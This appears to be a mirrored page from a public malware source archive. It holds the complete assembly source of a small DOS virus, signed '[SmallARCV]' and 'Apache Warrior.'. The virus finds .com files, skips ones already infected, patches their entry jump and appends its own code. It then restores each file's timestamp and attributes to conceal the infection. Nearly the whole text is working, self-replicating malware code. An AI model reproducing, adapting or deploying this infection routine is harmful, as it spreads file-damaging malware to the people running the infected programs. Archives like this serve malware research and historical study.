mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-18 17:36:11 +00:00
139 lines
4.6 KiB
NASM
139 lines
4.6 KiB
NASM
|
|
.radix 16
|
|
.model tiny
|
|
.code
|
|
org 100h
|
|
|
|
main:
|
|
jmp start
|
|
start:
|
|
call get_pointer ;>>xref=<06106><<
|
|
|
|
get_pointer:
|
|
pop bp ; pop cs:ip of stack
|
|
sub bp,offset get_pointer ; adjust
|
|
|
|
lea si,word ptr [bp+old_jump]; loc of old jump
|
|
mov di,0100h ; where to put it
|
|
push di ; save on stack for later return
|
|
movsw
|
|
movsb
|
|
|
|
mov ah,1ah ; set DTA
|
|
lea dx,word ptr ss:d061ef[bp] ;
|
|
int 21h
|
|
|
|
lea dx,[bp+com_file] ; COM filespec
|
|
mov ah,4eh ; find first file
|
|
mov cx,0007h ; all attributes
|
|
|
|
find_loop:
|
|
int 21h ;
|
|
|
|
jb set_dta ; none found then jump.
|
|
|
|
call open_file ; open the file
|
|
|
|
mov ah,3fh ; read from file
|
|
lea dx,word ptr ss:d0621a[bp] ; store here
|
|
mov cx,001ah ; number of bytes
|
|
int 21h
|
|
|
|
mov ah,3eh ; close the file
|
|
int 21h
|
|
|
|
mov ax,word ptr ss:d06209[bp] ; get file siz
|
|
cmp ax,0feceh ; cmp to 65k.
|
|
ja find_next ; to big then forget it.
|
|
|
|
mov bx,word ptr ss:d0621b[bp] ; get jump loc in file
|
|
add bx,00efh ; add virus size
|
|
cmp ax,bx ; does it equal file size?
|
|
|
|
jne infect_com ; nope then get file
|
|
|
|
find_next:
|
|
mov ah,4fh ; find next file
|
|
jmp short find_loop
|
|
|
|
set_dta:
|
|
mov ah,1ah ; set dta
|
|
mov dx,80h ; to original position
|
|
int 21h
|
|
ret
|
|
|
|
old_jump:
|
|
int 20h ; original jump
|
|
db 00 ; original file so its an int 20h.
|
|
|
|
set_attribute:
|
|
mov ax,4301h ; set file attr.
|
|
lea dx,word ptr ss:d0620d[bp] ; filename
|
|
int 21h ; cl has attribs
|
|
ret
|
|
|
|
|
|
sig db '[SmallARCV]',0
|
|
db 'Apache Warrior.',0
|
|
com_file db '*.com',0 ; com filespec
|
|
|
|
open_file:
|
|
mov ax,3d02h ; open file read/write
|
|
lea dx,word ptr ss:d0620d[bp] ; location of filename
|
|
int 21h
|
|
xchg ax,bx ; handle -> bx
|
|
ret
|
|
|
|
infect_com:
|
|
mov cx,0003h ; # of bytes to write
|
|
sub ax,cx ; adjust filesize for jmp.
|
|
lea si,word ptr ss:d0621a[bp] ; victims original jmp
|
|
lea di,word ptr old_jump[bp] ; place here
|
|
movsw ; move it
|
|
movsb
|
|
mov byte ptr [si-03],0e9h ; set up new jump
|
|
mov word ptr [si-02],ax ; and save it
|
|
|
|
push cx ; save # of bytes to write
|
|
xor cx,cx ; clear attributes
|
|
call set_attribute ; set attributes
|
|
call open_file ; open file
|
|
mov ah,40h ; write to file
|
|
lea dx,word ptr ss:d0621a[bp] ; new jump
|
|
pop cx ; get bytes off stack
|
|
int 21h
|
|
|
|
mov ax,4202h ; move fpointer to end
|
|
xor cx,cx ; clear these
|
|
cwd ; clear dx
|
|
int 21h
|
|
|
|
mov ah,40h ; write to file
|
|
lea dx,word ptr start[bp] ; from here.
|
|
mov cx,00ech ; size of virus
|
|
int 21h
|
|
|
|
mov ax,5701h ; set files date/time back
|
|
mov cx,word ptr ss:d06205[bp] ;
|
|
mov dx,word ptr ss:d06207[bp] ;
|
|
int 21h
|
|
|
|
mov ah,3eh ; close file
|
|
int 21h
|
|
|
|
mov ch,00 ; set attributes back
|
|
mov cl,byte ptr ss:d06204[bp] ; original attribs.
|
|
call set_attribute ; set them back
|
|
jmp set_dta ; jump and quit virus.
|
|
|
|
d061ef equ 001efh
|
|
d06204 equ 00204h
|
|
d06205 equ 00205h
|
|
d06207 equ 00207h
|
|
d06209 equ 00209h
|
|
d0620d equ 0020dh
|
|
d0621a equ 0021ah
|
|
d0621b equ 0021bh
|
|
|
|
end main
|